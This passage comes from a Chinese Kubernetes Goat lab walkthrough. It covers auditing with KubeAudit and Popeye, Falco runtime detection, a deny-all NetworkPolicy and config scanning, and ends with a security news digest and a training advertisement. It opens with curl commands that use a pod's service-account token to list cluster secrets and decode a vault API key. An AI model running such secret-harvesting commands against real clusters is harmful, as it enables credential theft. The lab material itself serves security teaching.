curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets
查询特定命名空间中的pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods
因为 Kubernetes 本身是利用 API 服务来创建、删除 pod 等操作的,所以你可以尝试并利用所有可能的 Kubernetes 操作。
获取 k8svaultapikey
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey
解密看看:
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d
0x17 利用KubeAudit 审计 Kubernetes 集群
场景描述
本场景主要针对Kubernetes集群的各种不同安全问题进行审计。
要开始这个场景,你可以运行以下命令启动一个具有集群管理员权限的hacker-container(tiller Service Account拥有集群管理员权限)
这一步可能需要先在kubernetes集群上为Tiller创建具有集群管理员权限的Service Account。
相关教程:https://cloud.tencent.com/developer/article/1559675
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
kubeaudit 是一个命令行工具和一个 Go 包,用于审计 Kubernetes 集群各种不同的安全问题,例如:
run as non-root //非root运行
use a read-only root filesystem //使用只读文件系统
drop scary capabilities, don't add new ones //丢弃高危 capabilities,不添加新的
don't run privileged //不要以特权身份运行
and more! //等更多
有关该项目的更多详细信息,请参考 https://github.com/Shopify/kubeaudit
运行 kubeaudit。 Kubeaudit会检测它是否在集群中的容器内运行。如果是这样,它将尝试审计该集群中的所有 Kubernetes 资源。
kubeaudit all
0x18 使用 Sysdig Falco 进行运行时安全监控和检测
场景描述
这个场景是为容器和Kubernetes资源部署运行时安全监控和检测。
要开始使用此方案,你需要使用helm v3进行部署
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco --set falco.jsonOutput=true falcosecurity/falco
云原生运行时安全项目Falco 是事实上的 Kubernetes 威胁检测引擎。 Falco 由 Sysdig 于 2016 年创建,是第一个作为孵化级项目加入 CNCF 的运行时安全项目。 Falco 可在运行时检测意外的应用程序行为并发出威胁警报。
Falco 通过以下方式使用系统调用来保护和监控系统:
Parsing the Linux system calls from the kernel at runtime //在运行时从内核解析 Linux 系统调用
Asserting the stream against a powerful rules engine //强大的规则引擎断言流
Alerting when a rule is violated //在违反规则时发出警报
Falco附带了一组默认规则,用于检查内核的异常行为,例如:
Privilege escalation using privileged containers //使用特权容器提权
Namespace changes using tools like setns //使用 setns 等工具更改命名空间
Read/Writes to well-known directories such as /etc, /usr/bin, /usr/sbin, etc //对场景目录的读/写操作,如/etc、/usr/bin、/usr/sbin等
Creating symlinks //创建符号链接
Ownership and Mode changes //所有权和模式更改
Unexpected network connections or socket mutations //意外的网络连接或套接字突变
Spawned processes using execve //使用execve派生的进程
Executing shell binaries such as sh, bash, csh, zsh, etc //执行 shell 二进制文件,例如 sh、bash、csh、zsh 等
Executing SSH binaries such as ssh, scp, sftp, etc //执行 SSH 二进制文件,例如 ssh、scp、sftp 等
Mutating Linux coreutils executables //异常的Linux核心实用程序可执行文件
Mutating login binaries //异常的登录二进制文件
Mutating shadowutil or passwd executables such as shadowconfig, pwck, chpasswd, getpasswd, change, useradd, etc, and others. // 异常的shadowutil 或 passwd 可执行文件,例如 shadowconfig、pwck、chpasswd、getpasswd、change、useradd 等。
获取 falco 部署的更多详细信息
手动从Falco系统获取日志
kubectl logs -f -l app=falco
现在,让我们启动一个hacker container并读取敏感文件,看看Falco是否能检测到
0x19 使用Popeye发现Kubernetes集群潜在问题
场景描述
此场景主要是通过实时扫描Kubernetes集群来审核Kubernetes集群,并上报部署的资源和配置的潜在问题。
要开始这个场景,运行以下命令启用具有集群管理员权限的hacker container
kubectl run -n kube-system --serviceaccount=tiller --rm --restart=Never -it --image=madhuakula/hacker-container -- bash
Popeye 是一种实用程序,可扫描实时 Kubernetes 集群并报告已部署资源和配置的潜在问题。它根据部署的内容为集群消毒。通过扫描集群,它可以检测错误配置并帮助你确保最佳实践到位,从而防止未来出现问题。Popeye 是一个只读工具,它不会以任何方式改变任何 Kubernetes 资源。
以下是一些检查和扫描列表:
Node //节点
Namespace
Pod
Service
ServiceAccount
Secrets
ConfigMap
Deployment
StatefulSet
DaemonSet
PersistentVolume
PersistentVolumeClaim
HorizontalPodAutoscaler
PodDisruptionBudget
ClusterRole
ClusterRoleBinding
Role
RoleBinding
Ingress
NetworkPolicy
PodSecurityPolicy
有关该项目的更多详细信息,请参考 https://github.com/derailed/popeye
使用cluster token权限在集群中运行运行popeye
可以看到,集群健康评分为83 B
0x20 使用 NSP 保护网络边界
场景描述
这个场景是为Kubernetes资源部署一个简单的网络安全策略来创建安全边界。
要开始此场景,请确保必须使用支持NetworkPolicy的网络解决方案。
场景提供来自:https://github.com/ahmetb/kubernetes-network-policy-recipes
如果你希望在IP 地址或端口层面(OSI第 3 层或第 4 层)控制网络流量, 则你可以考虑为集群中特定应用使用 Kubernetes 网络策略(NetworkPolicy)。
NetworkPolicy 是一种以应用为中心的结构,允许你设置如何允许 Pod 与网络上的各类网络“实体” (我们这里使用实体以避免过度使用诸如“端点”和“服务”这类常用术语, 这些术语在 Kubernetes 中有特定含义)通信。
Pod 可以通信的 Pod 是通过如下三个标识符的组合来辩识的:
1、其他被允许的 Pods(例外:Pod 无法阻塞对自身的访问)
2、被允许的名字空间
3、IP 组块(例外:与 Pod 运行所在的节点的通信总是被允许的, 无论 Pod 或节点的 IP 地址)
在定义基于 Pod 或namespace的 NetworkPolicy 时,你可以使用 selector 来设定哪些流量可以进入或离开与该selector匹配的 Pod。
同时,当基于 IP的 NetworkPolicy 被创建时,我们基于 IP 组块(CIDR 范围) 来定义策略。
创建一个拒绝所有去往应用流量的策略
此 NetworkPolicy 会将所有去往被Pod Selectors 选择的应用程序pod流量丢弃。
使用案例:
这其实很常见:如果要使用白名单网络策略,首先需要使用此策略将流量列入黑名单
你想运行一个 Pod 并希望阻止任何其他 Pod 与其通信
你暂时希望将发往某个服务的流量与其他Pod隔离
示例
运行一个labels为app=web的Nginx pod,并暴露80端口
kubectl run --image=nginx web --labels app=web --expose --port 80
运行一个临时 Pod 并向 Web Service 发送请求
kubectl run --rm -i -t --image=alpine test-$RANDOM -- sh
可以看到能够正常访问,现在我们对集群应用下列网络策略
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: web-deny-all
spec:
podSelector:
matchLabels:
app: web
ingress: []
再次尝试请求Web Service
流量被丢弃了
Kuberneters Goat 提供的在线环境中,使用的是flannel网络解决方案,是不支持NetworkPolicy的。可以使用Calico网络解决方案。
说明:
在上面的清单中,我们以带有 app=web 标签的 Pod 为目标来配置网络策略。此清单文件缺少 spec.ingress 字段。因此它不允许任何流量进入 Pod。
如果你创建另一个 NetworkPolicy 让某些 Pod 直接或间接访问此应用程序,则此 NetworkPolicy 将失效。
如果至少有一个 NetworkPolicy 的规则允许流量,则意味着流量将被路由到 Pod,而不管阻止流量的策略如何。
删除策略
kubectl -- delete -f web-deny-all.yaml
更多参考资料和资源可以在 https://github.com/ahmetb/kubernetes-network-policy-recipes 找到
Cilium 编辑器 - 网络策略编辑器
Cilium编辑器一个教你如何创建网络策略的工具/框架。它解释了基本的网络策略概念,并指导你完成实现所需的最低权限安全和零信任概念所需的步骤。
在线访问 Cilium Editorhttps://editor.cilium.io/
参考资料:
https://kubernetes.io/docs/concepts/services-networking/network-policies/https://github.com/ahmetb/kubernetes-network-policy-recipeshttps://editor.cilium.io/
0x21 Kubernetes Goat的安全扫描报告
使用其他开源安全工具扫描Kubernetes Goat基础设施生成的安全扫描报告
Checkov:https://github.com/bridgecrewio/checkov
git clone git@github.com:madhuakula/kubernetes-goat.git
checkov -d kubernetes-goat/
扫描报告了232个问题:
KICS:https://kics.io/ KICS 扫描报告了 265 个问题和Kubernetes Goat中的 Docker 配置问题。
详细报告:https://madhuakula.com/kubernetes-goat/reports/kics-output.html
网络安全日报 2022年04月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、网络攻击导致哥斯达黎加政府系统混乱
https://www.securityweek.com/cyberattack-causes-chaos-costa-rica-government-systems 2、对俄发起网络战以来,匿名者共泄露了 5.8 TB 的俄方数据
https://securityaffairs.co/wordpress/130554/hacktivism/anonymous-leaked-5-8-tb-russian-data.html 3、谷歌:2021年是0-day攻击创记录之年
https://www.infosecurity-magazine.com/news/google-record-year-for-zero-days/ 4、未打补丁的Exchange服务器遭Hive勒索攻击 逾期就公开数据
https://www.cnbeta.com/articles/tech/1261193.htm 5、FBI 警告针对美国农业的勒索软件攻击激增
https://www.infosecurity-magazine.com/news/fbi-warns-us-farmers-of-ransomware/ 6、美国国土安全部宣布Hack DHS的第一阶段发现了122个漏洞
https://therecord.media/first-phase-of-hack-dhs-finds-over-120-vulnerabilities/ 7、安全研究人员发现了最新的REvil泄密网站
https://www.theregister.com/2022/04/22/revil_ransomware_returns/ 8、美国能源部提供1200万美元资助6个大学团队开发网络攻击防御工具
https://www.bleepingcomputer.com/news/security/atlassian-fixes-critical-jira-authentication-bypass-vulnerability/ 9、Emotet恶意软件改造使用新的攻击载荷
https://cyware.com/news/emotet-revamp-new-payloads-and-64-bit-modules-8905bdd7 10、SuperCare Health 面临数据泄露起诉
https://www.infosecurity-magazine.com/news/supercare-health-faces-lawsuits/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

